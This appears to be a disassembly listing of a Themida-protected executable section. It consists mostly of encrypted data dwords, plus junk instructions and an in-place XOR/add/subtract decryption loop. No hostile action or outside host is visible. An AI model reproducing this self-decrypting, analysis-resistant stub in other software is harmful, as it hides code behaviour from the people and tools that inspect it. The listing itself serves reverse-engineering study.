		dd 0C7602BCCh, 7434146Ah, 0EA6F763h, 47ED6A55h,	374D89Bh
		dd 5A451E4Ch, 67575711h, 4B65ECA9h, 0B77C65C9h,	8033F47Ch
		dd 0B280218Ah, 9B329A19h, 7076533Dh, 9B655726h,	42AA4B02h
		dd 0D8A21A59h, 62D2933Fh, 531F1990h, 40403BBAh,	19906277h
		dd 4C036BD5h, 0EFDAD28Dh, 45CC5856h, 937DE96Bh,	0F380ECFAh
		dd 0CE8F5487h, 24FD75E8h, 7D030E9Ch, 99B51A1Eh,	9DEEF955h
		dd 0D98B6A21h, 0CD5553ECh, 77137C65h, 12F65FEAh, 0BFBDE66Dh
		dd 0CC654FF0h, 0F0147B64h, 9002E427h, 740DF767h, 4943FCDDh
		dd 0BB2DE47Dh, 0C55E2BCCh, 0B14A33A7h, 32BF27B3h, 0E640B758h
		dd 7033BBB3h, 1CCA79BAh, 0B3B9B9B5h, 37000014h,	0B527B64Fh
		dd 31A332CBh, 0B92BAA43h, 34A433CCh, 9C2DAC45h,	0E079487Ah
		dd 5DF6BF31h, 0EA834EBEh, 740DF96Bh, 7898AE5h, 1989453Eh
		dd 0F58D139Ch, 49A440Ah, 5CF30036h, 2F1CBD8Ch, 0A40C9896h
		dd 2FF878BBh, 8D218A12h, 0F2AD2CE3h, 76740DFAh,	0FC957EEEh
		dd 1DCF86EEh, 9A29031h,	79423E1Bh, 0D7218A12h, 0EE6D056Dh
		dd 33CCB735h, 0AF5009Ch, 89763CD2h, 0CDD38CE3h,	2189EC0Ch
		dd 994B026Ah, 0A63F0CADh, 0CB941C88h, 0EC3F0888h, 339D2189h
		dd 725ECE9Ch, 0DA4AE3D1h, 3FDE56EFh, 0A53E0884h, 3794C6EEh
		dd 0A976F328h, 0FFC6CD7h, 5E25FE76h, 89EC9962h,	0F04DF721h
		dd 5C168676h, 0C9D279A0h, 8C25128Ah, 617F169Eh,	266FEECBh
		dd 7D16E5D7h, 0C7B527D6h, 3CB4402Eh, 29B6963h, 0F0FE9762h
		dd 0C49DCD84h, 7B05FDBh, 0D47B5AB8h, 0C68F2814h, 0F68D84E9h
		dd 58E5AE30h, 28337429h, 2DAC637Ah, 0FD8B7A72h,	0A06DA1B5h
		dd 514FD7E5h, 0D6A242C9h, 45AD4635h, 0F992605Ch, 8E741452h
		dd 9D9ED22Fh, 851EE8E4h, 0B926A3CEh, 0AA61FAC3h
		dd 0ECB54E3Ah, 806E07F0h, 0C37C5DF4h, 0E9370080h, 2B959249h
		dd 0D77844A4h, 2DB53ECh, 6D24BD8Ah, 0DCA824FDh,	2DBD2543h
		dd 52DAC861h, 0E9571DBBh, 0E3AC9249h, 0FFC85C4Ah, 836E4866h
		dd 0F823EA46h, 0CA911497h, 0CC836B3Ah, 0C5B728A1h, 0E4505EF7h
		dd 36CFBB2Dh, 0E1AA266Dh, 3F924A13h, 24DFFE95h,	0DB9C245Fh
		dd 39924A13h, 1342038Fh, 38A0924Ah, 0C2634F91h,	0AD35BF4h
		dd 870EA792h, 0C6B22AE7h, 0B6FBD02Dh, 0D3CEECD1h, 0E1FEA03Ch
		dd 612B4F34h, 0D55DDAC8h, 0AE5D8D29h, 0E67F4ADAh, 0B7F0FDC8h
		dd 1C838079h, 8E577E8Dh, 630EC579h, 68F6C266h, 1FDD5F9Fh
		dd 0AD4630D2h, 33BB33BFh, 38DF856Ah, 9184253h, 15E15382h
		dd 0F1EF8874h, 720BF969h, 9780E874h, 9113D4DCh,	0C771924Ah
		dd 0D1CF6857h, 0E7A4C249h, 2A171208h, 0AA611F9Ch, 14E05002h
		dd 6F4BFE7Bh, 0C5B1A2E5h, 8B78742Dh, 3405BF2h, 1F774040h
		dd 0F8C4924Ah, 5AD9415Fh, 0C2FC60FDh, 0D0585A55h
; ---------------------------------------------------------------------------
		pop	es


loc_616C4D:				; DATA XREF: ___:off_4442DCo
		mov	eax, eax
		and	cl, [edx-6Eh]
		push	ds
		mov	dh, 1Fh
		rol	dword ptr [ebx+6F973029h], 34h
		lodsb
		jmp	short loc_616C78
; ---------------------------------------------------------------------------
		db 50h
		dd 0E89F498Ah, 0BD765F09h, 5018F2B3h, 61E8508Ah, 9146C870h
		dd 5019460Fh
; ---------------------------------------------------------------------------


loc_616C78:				; CODE XREF: Themida_:00616C5Dj
		mov	ah, [esp+edi+28A8EBB4h]
		pop	edi
		sbb	[eax-76h], edx
		mov	ebp, 60237C13h
		and	ebx, [ebp-75AFE624h]
		cmp	dl, [edx-5793B5DBh]
		inc	ebp
		jle	short near ptr dword_616B38+10Bh
		and	eax, 362645B7h
; ---------------------------------------------------------------------------
		dd 0E8E8A38Fh, 8255E01Fh, 65FECB7Dh, 137C65CDh,	0D02590B1h
		dd 0F2701775h, 55E19056h, 831CE582h, 89F90865h,	0C857E343h
		dd 0FD836D58h, 82560F3Ch, 0ACBA329Ah, 349C924Bh, 0DF36496h
		dd 904BE5E2h, 58F1DDCFh, 0D40BB4B1h, 0B411308Fh, 24F19FBh
		dd 55999556h, 0D949F382h, 0C85452EBh, 77422E41h, 2F749B83h
		dd 55A1E8B1h, 0F79E4682h, 0A291Ah, 0F7F5F600h, 0EA727009h
		dd 94B47563h, 0D7B8218Ah, 3FC5FC99h, 0F3E168BDh, 218A832Eh
		dd 783F553Ah, 41A88A13h, 2F3DD6A1h, 1BD00CC3h, 27218A6Eh
		dd 3331CAB5h, 0AF4837A7h, 36A229B1h, 218A6871h,	0F1BAB67Dh
		dd 4F218A67h, 94C6EEA5h, 6714D5DBh, 0CA72218Ah,	0B6BA7962h
		dd 218A66F5h, 7C15E153h, 1425DF4h, 0F475FC9Eh, 0F37DE13Bh
		dd 2189C932h, 9C02890h,	6FE6F9CBh, 11DFDD26h, 4B026A78h
		dd 86E74DAAh, 7FA4DCDBh, 0F37B14DFh, 0CE148430h, 6B4FDF14h
		dd 111Ah, 7E1DB69Eh, 2CAB440Eh,	0A635CEBCh, 21B04936h
		dd 0A827C0AFh, 0FCCBFF19h, 7B44B463h, 0F6C133E2h, 824EBE5Dh
		dd 12116AE9h, 8942CD8Eh, 0A02B19h, 0B8420AF5h, 3699FF06h
		dd 3634CDB6h, 0F9C527AEh, 0D7D56E58h, 0D0DE7743h, 4664CC64h
		dd 8B240F8Dh, 46AAAC04h, 0FB945F5Dh, 0D5CE85EDh, 0ACBD58Eh
		dd 68218A3Ch, 478B4900h, 4F298B85h, 0CCDA735Dh,	0AB48A960h
		dd 8579788Dh, 0CFD18AF1h, 1988E606h, 0E574FC64h, 2DC6B22Ah
		dd 4933B33Fh, 936E19B0h, 6F08F5E7h, 0D23ED0D8h,	0F9E24AE3h
		dd 0E675363Ah, 69D31988h, 99B7B9E2h, 851E6ED2h,	129F3807h
		dd 6D435F95h, 66973E95h, 73710AF6h, 7A439EF2h, 0DF475CD6h
		dd 50D8713Fh, 3C4CC87h,	61118EA1h, 0D9A21EF7h, 37118EA1h
		dd 0FFC1068Dh, 7EEFB4F3h, 0BF9994FBh, 6C87273Bh, 911907A0h
		dd 183A7219h, 18F58EBBh, 61C90608h, 9AEE1778h, 752F0CF0h
		dd 217EC5DEh, 12C6BE24h, 0F0ECA3BBh, 67129A8Eh,	0D2BB3172h
		dd 8ADC9D39h, 923A5A32h, 0FD5DFAFBh, 0C83C6584h, 34CDBB2Bh
		dd 0D6FCE3BCh, 0B3CB4E02h, 0D69F21FAh, 345A3281h, 0AC65058Ch
		dd 0BCAA4330h, 0FD0F9930h, 0EAD40AA4h, 0E149C234h, 2E543BF8h
		dd 0C12A26B8h, 5C9844CBh, 445F1837h, 0C8E67F48h, 9444B55Ch
		dd 0C09911AAh, 7C6A03CCh, 0CF9F57FBh, 9B132DB0h, 4531ABF4h
		dd 4FB0F3ACh, 0C62075AEh, 0B67F1B06h, 14523846h, 0FBB425ACh
		dd 466F3838h, 1FCF5238h, 4373AF01h, 10B72190h, 7743E4D0h
		dd 3F6FD0DEh, 0E5EF4F6Eh, 11D45CD4h, 0DC256FAFh, 638666F8h
		dd 0E700000Fh, 65D7861Fh, 0E153029Bh, 69DB7A13h, 0E454039Ch
		dd 4CDD7C15h, 10A9982Ah, 8D260F81h, 1AB39E0Eh, 0A43D097Bh
		dd 0D7D99AF5h, 1989400Eh, 6BDE36Ch, 811AE454h, 0A66FF763h
		dd 612AA6EDh, 0BF218A94h, 0CC627E15h, 0D8267087h, 0C87F18E4h
		dd 9173CA29h, 9941AE55h, 0DA53E09h, 0D16A5854h,	346F2C3Ah
		dd 9074EBACh, 0B69F4919h, 9073F1BAh, 0EEA54F19h, 847112FEh
		dd 875FDEBh, 8467DFD5h,	9E77EF46h, 0F977612Eh, 198FBF30h
		dd 0C74EE68Eh, 38B4EDA7h, 4F1AB14Ah, 260F8D52h,	11FB885h
		dd 87131199h, 3AA6A800h, 2DB5B34Ch, 14E0DCC5h, 4E056D7Bh
		dd 0E7B10E55h, 8BA023CFh, 8218C44Bh, 8E1E75BFh,	49128ED5h
		dd 0A71195AFh, 0AFD8A13Dh, 86361195h, 9E0624BDh, 0E17E7F16h
		dd 546AC400h, 0D8C1296Bh, 0C254159Bh, 0AB21195h, 11D65283h
		dd 1D1195C2h, 0AF21E9B2h, 5EF5680Eh, 9658B982h,	0FA76BD11h
		dd 11965831h, 862EE58Fh, 0FA9B64D4h, 0E874720Bh, 72FA6280h
		dd 0DE4C46A9h, 294BE074h, 2B77F9A2h, 3319979Ah,	9C33CCB9h
		dd 0B22AF35Dh, 0B33F2DC6h, 0AD24E1Ch, 0A099508h, 87E4749h
		dd 74DC0995h, 0DE5FFFDDh, 4D3FC67Fh, 75FDEB84h,	0A9420EDEh
		dd 0C8DA5AF6h, 15150924h, 0E06h, 0AA29C28Ah, 18B7503Ah
		dd 9241DAA8h, 1DBC5522h, 9443DCABh, 0E0CFF305h,	6F58C847h
		dd 0EAD547D6h, 6652C251h, 2EF54ECDh, 893FE9B2h,	147C4719h
		dd 720BF7F5h, 4761E874h, 9C806CC5h, 0F4974004h,	24914578h
		dd 47DF970Ah, 9B341E8Eh, 88A63F0Bh, 0A62A751Ch,	298B0362h
		dd 0DEA7296Ah, 3C198871h, 717C3D43h, 72DA1988h,	45A253FAh
		dd 46A4E10Eh, 8D4E5265h, 0EB198797h, 9881E981h,	9714D5DBh
		dd 0CA721987h, 3ED56E5Ah, 8B797330h, 7347AFFDh,	0E04867C3h
		dd 32CBB729h, 0F6847369h, 696C6CB4h, 8A98105Eh,	0FE639522h
		dd 0E88D9B6Fh, 0C5B77061h, 0D24260F9h, 2DE44CE5h, 9766D283h
		dd 0E484F0FEh, 30E9811Ah, 56AC6D73h, 620A1988h,	0A5DEBBABh
		dd 88565A1Bh, 0A310B819h, 0F0C42432h, 0D212B9BAh, 0E37C45E6h
		dd 0D16A55C5h, 9408D159h, 0A23B0AABh, 10901884h, 0D4058C25h
		dd 3CD5A11Bh, 5C26C62Eh, 963DA5C3h, 0E8DC6A56h,	0D7A02011h
		dd 351987E3h, 396D2E8Bh, 68471098h, 0A9E80094h,	2141C8D3h
		dd 0ED867468h, 9A26BFFh, 87178F1Bh, 78681FB8h, 0FB28FE8Ch
		dd 0BE4E7308h, 0DBC9622Eh, 59C9D74Fh, 3CFD836Dh, 9A198846h
		dd 38ACBA32h, 0BDB7B54Eh, 341B1592h, 0FB48846Bh, 673F12ECh
		dd 0C31C85E0h, 4563FCC9h, 0CAB636DDh, 0A6C45D29h, 2EDB63Eh
		dd 58B0751h, 19880344h,	51BD3AA2h, 2AEBF536h, 88198823h
		dd 10C148E0h, 29B6557h,	9ED178E4h, 0CB5F9F2h, 3E932h, 54066E00h
		dd 0F93C25F7h, 86EECF21h, 66501F9Dh, 89FFA16Ah,	0DD55FF21h
		dd 0B6266D36h, 0A73331CAh, 0B3B14A37h, 0FE34A027h, 0EA267006h
		dd 0F65E27A9h, 9BE198Fh, 7ABCA79Ah, 9010B837h, 94200EA7h
		dd 834CFCFDh, 369982EAh, 57D7B4C9h, 1555FC99h, 0D871403Ch
		dd 89E0A331h, 8FDA1990h, 0A86CD12h, 19908941h, 169E359Fh
		dd 8FCFA704h, 7D89862Fh, 765B1CA4h, 0FB91990h, 1CEBE97h
		dd 7DB6E168h, 75F1BAB6h, 0A54F1990h, 7CB4F2EEh,	0E3A01E76h
		dd 6C5720A0h, 0BB51196h, 966CC68Fh, 15BC2411h, 0FD87E4h
		dd 0C776D041h, 0DD4563FCh, 8804DD55h, 6C6D24BDh, 0B75039B3h
		dd 5A8A41A9h, 65FECD6Eh, 514F14CDh, 11963088h, 97D77EE6h
		dd 5DF6C2BAh, 0BC2CE34Fh, 0A9422FD0h, 96645841h, 0DD8756FDh
		dd 0D0B6DE3Bh, 0C2BBDBBAh, 0CD32712Ah, 90C710FBh, 0AE772361h
		dd 0FB1195E8h, 0ED75730Ch, 56EFDE8Eh, 0AD64CC58h, 0D578EEF2h
		dd 7B64167Bh, 2641D9E5h, 23D2791Ah, 0C32BC4B1h,	23CCF5DAh
		dd 96D71F46h, 3AB26FFFh, 41A9B750h, 94894E8Ah, 0F5DE099Ch
		dd 0EFDE4E5Ch, 937E5856h, 8B241216h, 0C29D159Dh, 0FDBEC281h
		dd 5B099C93h, 920F5AF1h, 0C18A064Dh, 0E099C94h,	0A048A740h
		dd 8C9A86E9h, 339C1359h, 0F38A4B0Ch, 46C34A46h,	80h, 0CC654F4Dh
		dd 0AF55745h, 0A92C0B6h, 20B0CE5Fh, 5E5BA815h, 0A3B5FF96h
		dd 0AB21623Bh, 528E45DEh, 26700D78h, 0FD96605Ch, 2F3DA756h
		dd 0F48D7A72h, 0CBB27F5Dh, 3A07198Fh, 210F83A1h, 90291888h
		dd 544DBC92h, 5E4CE5D4h, 0C0835ED6h, 4D46ADFh, 0D67DDFACh
		dd 99892E9Bh, 9B034D71h, 9F0FD8D8h, 36D198Fh, 1D1C14Ch
		dd 0EEDE0000h, 11DF9321h, 0CC9747F7h, 9FE94664h, 8BAEDBFFh
		dd 128E45ADh, 952B0AF5h, 0A6823C1Dh, 9E1BE7DAh,	45CC2719h
		dd 4836D7A3h, 6C4142AFh, 3F0AD477h, 13FEEEA7h, 49006C7Ah
		dd 7D034019h, 2189DABCh, 0C91BB21Ah, 0CFDD6CFAh, 0C08933A7h
		dd 6B613A28h, 5F8108A1h, 5E27A993h, 0BC218A3Bh,	0DCC39C14h
		dd 0BEC91E9Bh, 821BE986h, 460363EAh, 21C2830Dh,	0B820218Ah
		dd 55E3CF11h, 4934E11Eh, 0EFA840DBh, 0D37A13FDh, 66534902h
		dd 0BC53DFCDh, 89DA8E20h, 2C1A9221h, 20ECFC93h,	0A18B17Fh
		dd 6E510AA2h, 9E6D5423h, 0AA57E497h, 5425A512h,	22CA0BC2h
		dd 703937F0h, 742189E0h, 89E0AB6Ch, 0D05F0921h,	0A5170068h
		dd 0AF4836D7h, 4C079037h, 43CA6350h, 76F59595h,	2F2A9526h
		dd 64FDC649h, 0C0C993D7h, 8978E809h, 9719F2F0h,	198D29CEh
		dd 0C42CC42Ch, 0DF3798DBh, 7008BF83h, 0F26F0EA6h, 40A8C265h
		dd 0C7685789h, 0D24260F9h, 4DE54DE6h, 8D1CF94h,	66198CF2h
		dd 0DA9B25FEh, 38198CF2h, 1FD8F990h, 0D8A11F64h, 36198CF2h
		dd 0F249128Eh, 3DA7198Ch, 0C6675696h, 17CA62FBh, 14D0F0C5h
		dd 537C80EEh, 0D7000009h, 55C756EFh, 0D143D26Bh, 59CB4AE3h
		dd 0D444D36Ch, 3CCD4CE5h, 40D9A81Ah, 0BD561F91h, 4AE3AE1Eh
		dd 0D46D59CBh, 0A729EA45h, 19893ADEh, 3E2D733Ch, 0E2C1C14Fh
		dd 0D4CAA6E9h, 6A8AC4CAh, 0D35BD349h, 0DA6920Ah, 29889E1Fh
		dd 6B800668h, 0D28D4C03h, 952E1B91h, 0C68F0B97h, 24218A62h
		dd 0E7D315BCh, 62B273FDh, 0A012218Ah, 3B8D38A0h, 5BCB7504h
		dd 5FCBD972h, 6A550EC7h, 0D28E73FAh, 1EE77383h,	7C21899Ch
		dd 16902CCh, 0F5CD8B4Ah, 196D2F0Ah, 27AEE621h, 6A58F9C5h
		dd 0C8059D1h, 1E86A43Dh, 591AF777h, 87D5961Ah, 8933218Ah
		dd 8A874C0Dh, 8B42AA21h, 3CC6D59h, 78F07C6Ah, 15C11ED9h
		dd 0FF05952Ah, 28708FCDh, 0A2C719CBh, 0F7F5ADEBh, 0ED75730Ch
		dd 14AD7A66h, 31F6218Ah, 3D218A14h, 86E4723Fh, 0F726EE46h
		dd 51D9C75Fh, 0F060F2BAh, 0F27A6801h, 5D2BA17Ah, 0E3EDA6C4h
		dd 2189C422h, 0B950D880h, 5827A5DEh, 4331A1BFh,	0B830BCAAh
		dd 8D4C193Bh, 2BE28555h, 8B3569ADh, 0B48E7129h,	970B9C09h
		dd 6B647CEh, 510AA23Bh,	0DDCD8E12h, 0C12B1988h,	0C47F5C0Ah
		dd 0DD38017Fh, 2E961988h, 88DDE9B2h, 0D9D4719h,	8A22A942h
		dd 0BFB2B88h, 95CEA60Bh, 7948441Dh, 454E41EBh, 268E2619h
		dd 0BDC39C08h, 19894CFCh, 405BF25Ah, 22289C03h,	0A20EF7BCh
		dd 0E04BEDEBh, 144F1E6Eh, 8ED0CB8Ch, 0D6BF2911h, 8ED011DAh
		dd 4E056F11h, 0FA6245AFh, 0E91CCF12h, 7B87575h,	543C0000h
		dd 0E2AC1CBBh, 6C5ACA49h, 0E7D444D3h, 6E5DCF4Eh, 0A1B746D5h
		dd 1AB95221h, 0C948E1AAh, 44D36C57h, 0C04FE8D4h, 6324AC67h
		dd 0C1198938h, 0F7F59AF6h, 7D97009h, 17B09A3Bh,	5009A109h
		dd 25C9696Fh, 0C1480E9Fh, 9F4E8A1h, 6E069F68h, 4F3905E7h
		dd 0C9D7705Dh, 0A8F4B561h, 0EA522189h, 59239982h, 691E5DCBh
		dd 1E96E8D9h, 9CBE6677h, 0B4286B34h, 39A72EC7h,	267068BBh
		dd 0B84635A7h, 0D93FCA5Dh, 7962CA39h, 8FBB2EF7h, 2DE48C19h
		dd 0C1022FCCh, 0A755920Ch, 931D563Fh, 19900DD2h, 61018830h
		dd 6A2E47A8h, 0AC23790h, 97905583h, 1CE5198Fh, 0F5086583h
		dd 6B1947F7h, 0A43D0A9Ah, 0F5B2BF86h, 0AD1F603Bh, 0D15947E0h
		dd 6D722F3Ah, 0F8E1AA26h, 953F198Fh, 0F803C4CCh, 0F761198Fh
		dd 10731F50h, 4745034Dh, 5AC2E079h, 0B856B3h, 3F3D0000h
		dd 44058B75h, 0A2199000h, 28B4B23Ah, 3735CEB8h,	0F57824ABh
		dd 0DD740DF7h, 0E8D541D3h, 61D2075Ah, 26AB4F5h,	1CE878E4h
		dd 75FD6583h, 0AC4530ACh, 49F36BEh, 0BB7C043Fh,	192189F3h
		dd 0C520E3BAh, 37AF4EF8h, 213FD8A7h, 0F4C612B9h, 0D8267043h
		dd 154159Bh, 0D5A11990h, 37C62E3Ch, 0C26D308Dh,	0A32E409Fh
		dd 16E0DECh, 0C8228F2Ch, 93D08921h, 900B4C0Dh, 8B42AA19h
		dd 0C08EFEDBh, 6F34A027h, 0C419900Bh, 0D04462FBh, 6D5B49E2h
		dd 30EB4582h, 0F68F7D6Fh, 0F6F48D76h, 1D8AE76Eh, 64FDCAC2h
		dd 1DECAADh, 4946034Dh,	4D000002h, 0FC18A06h, 0B51F1990h
		dd 523E821Eh, 8B0E29C4h, 0C42C6E0Fh, 582498DBh,	9D39A1BFh
		dd 2189C1DCh, 6BFB923Ah, 32AEF5AEh, 2189C169h, 0B8811DC7h
		dd 162189C1h, 2AEBF5AEh, 882189C1h, 0C8B729E0h,	0A4C25B27h
		dd 0DB3EBB38h, 73D2FE68h, 0E2BD22FBh, 344CC052h, 0F3B0BE55h
		dd 0ADE9970Ch, 7D3133D1h, 4DFE8D18h, 0CA1AB139h, 0DB745DFEh
		dd 26128A53h, 0AB68068Dh, 18AF4831h, 996EFCC8h,	7772F78Eh
		dd 0EFB8B8A1h, 4D2189F0h, 6D520BA3h, 0E2916EF1h, 0D16A5556h
		dd 0F5AEDC59h, 0D8688B6h, 209C5786h, 0C311B851h, 21899E39h
		dd 0B17AF63Dh, 0B521899Eh, 899E6A2Bh, 9120C821h, 0A9726E27h
		dd 721899Eh, 4A36B65Dh,	2846DFA9h, 0EAA534BCh, 7F6D06F2h
		dd 66841DEBh, 4C0976FEh, 2433EE53h, 5D29BB52h, 0A5AC6D73h
		dd 5A0A2189h, 4DD5D36Ch, 0F6BD58E5h, 418DF9Fh, 0F0F0B36Ch
		dd 218A8927h, 3634DB85h, 0F5965F5Dh, 0EA727009h, 51F86482h
		dd 455CB557h, 817F1F47h, 9913CC64h, 0C4B81EACh,	0CEDCC338h
		dd 0AFF4AF66h, 11B8513Dh, 6FBAD9C3h, 0B1F2DD26h, 0FCE7670Fh
		dd 44F4058Ch, 58C4E27Bh, 0A79507D0h, 8A4B550Eh,	0E8198FBDh
		dd 6008C980h, 0D2914AAEh, 0EABA98EDh, 65EC9291h, 7D246977h
		dd 8B77751Eh, 0F868F4F2h, 0ED75730Ch, 0D4DC9766h, 1192A413h
		dd 765FC771h, 2C07AE19h, 9564528Dh, 0C2DD74FCh,	57410B81h
		dd 93279059h, 0EE86EE11h, 0BDD7400h, 1EAC9B3Ch,	9A3114BFh
		dd 0DFCD6541h, 0C6E47D4Bh, 6756D65Eh, 0FF7D66CEh, 0CA59435h
		dd 771E86A4h, 0F6E6AD66h, 0F4806E07h, 932A9F68h, 7F4BFD11h
		dd 25C74EE6h, 2EC7B556h, 2C3AD3BEh, 0FB7528C0h,	0EC1CCAB8h
		dd 4407272h, 0FCC40000h, 7A44B463h, 0F4C232E1h,	7F4CBC5Bh
		dd 0F6C537E6h, 92FBE5Dh, 0A231CAB9h, 21B04932h,	0AC2BC4AFh
		dd 18B7503Ch, 0FBBCC4BFh, 59198934h, 0F7F5D2CEh, 0E773710Ah
		dd 0F5F38C77h, 3706E66Dh, 9B13AC96h, 66FFCAC2h,	44058B48h
		dd 0A2218A94h, 0BA1BB23Ah, 25BE8B01h, 0F1927E6Eh, 0FC956203h
		dd 86EE7674h, 59571CD7h, 218A9490h, 0D1CF86EEh,	99570AF5h
		dd 499B36F1h, 0E9ED9BECh, 9C33783Ch, 434D0214h,	218A8C82h
		dd 27F078E0h, 8CA3646Ch, 1F0218Ah, 0A85F0968h, 0F1EFB4EFh
		dd 218A8C28h, 0A937DE86h, 267099CFh, 0ECA54CB3h, 0BAFE291Fh
		dd 6C7AE213h, 907D27ECh, 7E6E3119h, 1855FC95h, 49CF30AFh
		dd 2C1985D2h, 3664A419h, 0F179481Ch, 0B969195Ah, 644B034Dh
		dd 0DD8255F2h, 0E17A48B4h, 38CF57C3h, 1CDCDh, 0F4EDD200h
		dd 0AB18E3Ch, 0F59FFD94h, 727009F7h, 9BC68DEAh,	0A89E717Ch
		dd 9F3BF21h, 8A75BE87h,	0E2AC1C21h, 9049E149h, 54EDD9D3h
		dd 8A74FFC8h, 2AF35D21h, 8A75E5A6h, 0F2994321h,	5C259774h
		dd 0E4ECA5C3h, 218A7523h, 0B84FD781h, 0E9CB5928h, 0C758DDCDh
		dd 0A07967FFh, 59C9622Ch, 9D3BD26Bh, 218A6713h,	3FD8A517h
		dd 0D276C421h, 64C4413Eh, 0D7A345CCh, 2D22E3EDh, 0D880218Ah
		dd 4D06C150h, 0DECC654Fh, 2D01CA56h, 0F55F218Ah, 21C28E5Eh
		dd 3331B952h, 0FC9D6656h, 0EC78760Fh, 7F18E484h, 792EE0C8h
		dd 8A2D2EF7h, 4CE48C21h, 7D0D093h, 65218A2Dh, 84B54FBh
		dd 1F0DA694h, 2D7D3E42h, 71DB218Ah, 9C8652F9h, 0A026701Eh
		dd 0A6C45D2Ch, 0F666973Eh, 0F4806E07h, 5D29A37Ch, 973EA6C4h
		dd 0C7C9E46h, 3DD6A041h, 0C32BC32Fh, 4E1799DAh,	0AC19901Ch
		dd 94555B44h, 0F219901Ch, 9BD8C34Ah, 13BA5321h,	7D2F22C5h
		dd 0C7B22A1Eh, 5D63402Eh, 1192DF9Ch, 33DA52FAh,	902912C2h
		dd 0B9A20A92h, 0EEB7B97Ah, 3B1192DEh, 2EB6B44Dh, 7E6E25CFh
		dd 8922EE8Fh, 75FB3821h
		dd 1192DEB4h, 0B223AA12h, 75363AF9h, 0D31192DEh, 71F99261h
		dd 9A3B0ADAh, 0A53E0BACh, 95931B87h, 0AEC2A50Dh, 5D1CCB04h
		dd 1F4E1C1h, 90780000h,	1EE858F7h, 9866D685h, 13E050FFh
		dd 9A69DB7Ah, 0B5C35201h, 0E8D2615h, 7D1CB59Eh,	28A7400Bh
		dd 0A433CCB8h, 7F48484Bh, 0DD198933h, 0AEF54E52h, 8A946932h
		dd 761DC721h, 17E68776h, 0AF2DF67Eh, 653E2CC5h,	8A949A5Bh
		dd 0D850F821h, 0F5E7A031h, 12FD6D06h, 48FF6B79h, 8413AC98h
		dd 0F8C0E4CBh, 295760B4h, 523EF6A2h, 0C32BC4B1h, 8614E2DAh
		dd 0CE5F4FE1h, 0F1D9573h, 0A57EECA3h, 9D210B3Ah, 0FD94EA43h
		dd 947E1FEBh, 32AA73FBh, 0B223AA43h, 13B483F9h,	6C238B24h
		dd 0F5AE1244h, 0EE800EF7h, 0BCF43EF4h, 0BF2B39B1h, 0D8D48F08h
		dd 0E815FEDh, 0F19A86EDh, 48FF6B79h, 8BB3748Ch,	523EAE29h
		dd 563331B9h, 0F0FE9766h, 2F1BCD84h, 0E2CFCD96h, 7891DC54h
		dd 0F67ED193h, 29B64F8h, 59F078E4h, 9B3C0878h, 596720AEh
		dd 0CD335A85h, 5EDB4765h, 14D2989Eh, 0E8B1394Ch, 0DB720BF4h
		dd 39F1CE8Bh, 0A84B515Eh, 0FAFFDD74h, 0E90E5568h, 0B44D3CB0h
		dd 0CAA72EB6h, 0BB9D02DDh, 9BA277Ch, 0BDAB4431h, 0D616BD35h
		dd 148851EAh, 0DB239029h, 4C1A1B41h, 10CB0AC1h,	458C4D53h
		dd 82EAE1ADh, 8C2D19CBh, 0D38C24BDh, 5856EFD9h,	0B52545CCh
		dd 0C15A27C8h, 0AD337029h, 0E1AD45ECh, 0B7B9A24Ah, 0E1AD44EEh
		dd 7DEDA44Ch, 67851EEDh, 716F08F3h, 3DF3AC9Bh, 409F0847h
		dd 0D1FC9D5Fh, 2CCCF2FEh, 0E0308D6Bh, 0B381215Dh, 0E9A00C1Ah
		dd 0F77D0BF7h, 8D1CF27h, 66E1ACB1h, 20BA81FEh, 9814CD65h
		dd 5B7A11AAh, 19553FA0h, 0C2E07946h, 0C23CDD5Ah, 8874741Bh
		dd 5859229Eh, 0D9A6E1ADh, 3BBA2240h, 4E0B1991h,	89524E15h
		dd 0E7E1AD58h, 5818E17Dh, 0D976E1ADh, 318F6CCBh, 0C19A1233h
		dd 0AD4BF6BFh, 65EC54E1h, 0D13h, 93625A00h, 36B04F2h, 0CAD67DE5h
		dd 563E9B05h, 4F3BAFBDh, 5924B8B6h, 4932A2C0h, 5322B2B0h
		dd 4938ACBAh, 5522B2B0h, 503EAEBCh, 4F39A9B7h, 57F7B8B6h
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 34895C24h,	4EC8324h
		dd 52240489h, 0C281E289h, 4, 4EA81h, 14870000h,	2C895C24h
		dd 59685524h, 5D05E209h, 0E340BFB8h, 5DE8310Dh,	6A3F68h
		dd 24248900h, 4240483h,	575D685Dh, 1C890000h, 8BB24h, 0EB010000h
		dd 8B5B0389h, 8953242Ch, 4C381E3h, 83000000h, 1C8704C3h
		dd 34FF5C24h, 0C4815824h, 4, 0FA7890E9h, 4C6E54FFh, 0BBAFBA5Fh
		dd 16E14FE3h, 163DFB8h,	0FFC50308h, 126EE8E0h, 5BC33267h
		dd 0A1E86729h, 16727C1Eh, 783E1314h, 1BFB6923h,	0A267B330h
		dd 0D8D4A63Dh, 10E878h,	0CD100000h, 98AA4E1h, 0D7F8FBBFh
		dd 60405679h, 800F2D99h, 0
; ---------------------------------------------------------------------------
		pop	ecx
		add	ecx, 6374h
		jns	loc_617FC3
		mov	bl, 2Fh


loc_617FC3:				; CODE XREF: Themida_:00617FBBj
		push	0
		jmp	loc_617FD4
; ---------------------------------------------------------------------------
		xor	ch, [ecx-64h]
		inc	ecx
		cmpsd
		lodsd
		push	edx


loc_617FD4:				; CODE XREF: Themida_:00617FC8j
		pop	esi


loc_617FD5:				; CODE XREF: Themida_:00618009j
		xor	eax, 0DD0A6B9h


loc_617FDB:				; CODE XREF: Themida_:00618031j
		mov	edi, [ecx+esi]
		mov	bx, 2169h
		xor	edi, 15A6FFB6h
		and	al, 94h
		add	edi, 3E42871Ch
		sbb	ebx, 633C856h
		sub	edi, 748CF8F5h
		cld
		mov	[ecx+esi], edi
		jmp	loc_618019
; ---------------------------------------------------------------------------
		test	[ebx], esi
		dec	esp
		jb	short loc_617FD5
		adc	ch, cs:[ecx-44h]
		adc	eax, 0FE74EFDEh
		movsb
		sub	esi, esi
		mov	dl, 0C3h


loc_618019:				; CODE XREF: Themida_:00618001j
		sub	esi, 424BFF8h
		movzx	edx, bx
		add	esi, 424BFF4h
		mov	ax, di
		cmp	esi, 0FFFF9D24h
		jnz	loc_617FDB
		mov	ax, di
		jmp	loc_618103
; ---------------------------------------------------------------------------
		db 0CDh
		dd 0D77A1F92h, 0C3CA459Ch, 0DAB6E1C8h, 95A7ACABh, 0F44592B3h
		dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh,	55207520h
